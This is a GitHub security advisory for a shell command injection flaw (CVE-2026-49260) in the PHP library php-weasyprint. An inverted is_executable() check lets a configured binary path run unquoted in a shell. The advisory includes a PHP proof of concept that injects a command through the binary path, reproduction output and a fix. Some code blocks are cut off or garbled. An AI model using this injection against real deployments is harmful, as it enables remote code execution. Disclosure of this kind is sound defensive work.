GitHub Advisoryadvisory · Packagist
GHSA-f5gc-qxf8-mh9g php-weasyprint: shell command injection via configurable WeasyPrint binary path due to inverted is_executable() guard (mirror of KnpLabs/snappy GHSA-vpr4-p6fq-85jc)
HIGH
Official page ↗
- Aliases
- CVE-2026-49260
- Ecosystem
- Packagist
- Packages
- pontedilana/php-weasyprint
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
- Weaknesses
- CWE-78
- Reviewed
- 2026-06-26
Affected packages
• Packagist pontedilana/php-weasyprint: < 2.5.1 → fixed in 2.5.1
Description
Summary
`pontedilana/php-weasyprint` builds the shell command for WeasyPrint by passing the binary path through `escapeshellarg()` first and then checking the *quoted* result with `is_executable()`. On POSIX `escapeshellarg('/usr/local/bin/weasyprint')` returns `'/usr/local/bin/weasyprint'` with the single-quote characters as part of the string, so `is_executable()` looks for a file whose actual name includes those quotes. That file never exists, the "safe" branch is dead code, and the raw `$binary` string (set via the constructor or `setBinary()`) flows directly into `Symfony\Component\Process\Process::fromShellCommandline()`. Any deployment whose binary path is sourced from configuration, an environment variable, or a per-tenant setting reaches a shell-command-injection sink. The library is documented as a one-to-one substitute for KnpLabs/snappy and inherited the exact pre-fix codepath KnpLabs patched in GHSA-vpr4-p6fq-85jc (Snappy 1.7.1).
Affected versions
`pontedilana/php-weasyprint` versions `setBinary($binary) // src/AbstractGenerator.php:276
$this->binary = $binary; // no validation
later, at conversion time:
$pdf->generate($input, $output, $options)
└── $this->getCommand($input, $output, $options) // src/AbstractGenerator.php:298
└── $this->buildCommand($this->binary, ...) // src/AbstractGenerator.php:306
└── ($vulnerable guard, see above)
└── returns $command including raw $binary
└── $this->executeCommand($command) // src/AbstractGenerator.php:202
└── Process::fromShellCommandline($command, null, $this->env, null, $this->timeout)
└── /bin/sh -c $command // shell metacharacters interpreted
```
No intermediate validator, no scheme check, no allow-list. Whatever string reaches `setBinary()` is shell-evaluated.
Proof of concept
```php
/dev/null; touch /tmp/php_weasyprint_rce_marker; #';
$pdf = new Pdf($binaryString);
$pdf->setTimeout(5);
try {
$pdf->generate('about:blank', '/tmp/poc_out.pdf', [], true);
} catch (Throwable $e) {
// WeasyPrint binary call fails (its actual exit status is irrelevant);
// the injected 'touch' between the ';' separators already ran.
}
if (file_exists('/tmp/php_weasyprint_rce_marker')) {
echo "RCE MARKER PRESENT — injection landed.\n";
} else {
echo "RCE marker absent — injection did NOT land.\n";
}
```
The `#` at the end of `$binaryString` comments out the unrelated `'/dev/null' '/tmp/poc_out.pdf'` tail that `buildCommand` appends, keeping the shell line syntactically valid.
End-to-end reproduction (against pinned Composer install)
```bash
1. Pin the affected version
mkdir poc-weasyprint && cd poc-weasyprint
cat > composer.json /dev/null; touch /tmp/php_weasyprint_rce_marker; # '/dev/null' '/tmp/poc_out.pdf'
--- end buildCommand ---
generate() threw (expected, weasyprint binary call may fail): RuntimeException: The file '/tmp/poc_out.pdf' was not created (command: weasyprint --version > /dev/null; touch /tmp/php_weasyprint_rce_ma...
--- post-exec check ---
RCE MARKER PRESENT — injection landed.
stat: -rw-r--r--@ 1 rick wheel 0 5月 25 13:44 /tmp/php_weasyprint_rce_marker
```
Interpretation:
| Observation | Expected if guard worked | Actual |
|---|---|---|
| Compiled command starts with `weasyprint --version ...; touch ...; #` | Should be wrapped in single quotes, e.g. `'weasyprint --version > /dev/null; touch /tmp/...; #'` | Raw, unquoted |
| `/tmp/php_weasyprint_rce_marker` after `generate()` | Absent (binary path validation rejects) | Present — injected `touch` ran |
The marker file is created by the injected command sequence, not by the WeasyPrint binary; the WeasyPrint call inside the same shell line fails afterwards (no PDF produced), but the injected payload has already executed.
Negative control on a benign binary path:
```bash
php poc_negctrl.php
--- buildCommand for benign binary ---
/usr/local/bin/weasyprint '/dev/null' '/tmp/poc_out_neg.pdf'
Benign-path negative control clean: no spurious marker.
```
Even the benign path is emitted raw (without single-quotes around the binary), confirming the `is_executable()` guard never returns true — defensive depth is gone for every deployment, not just the malicious one.
Fix verification: replacing both `buildCommand` overrides with the KnpLabs/snappy 1.7.1 shape (`if (!\is_executable($binary)) throw new RuntimeException(...); $command = \escapeshellarg($binary);`) and re-running the same harness:
```
--- patched buildCommand output ---
[OK] build…
Related
Alias · CVE (1)
- CVE-2026-49260 PhpWeasyPrint is a PHP library allowing PDF generation from a URL or an HTML page. vulnerability
Weakness · CWE (1)
- CWE-78 Improper Neutralization of Special Elements used in an OS Command weakness
References
- https://github.com/KnpLabs/snappy/security/advisories/GHSA-vpr4-p6fq-85jc web
- https://github.com/pontedilana/php-weasyprint/security/advisories/GHSA-f5gc-qxf8-mh9g web
- https://nvd.nist.gov/vuln/detail/CVE-2026-49260 advisory
- https://github.com/pontedilana/php-weasyprint/commit/9e86a2b317237fc5728f712f5037164530117f7e web
- https://github.com/pontedilana/php-weasyprint package
- https://github.com/pontedilana/php-weasyprint/releases/tag/2.5.1 web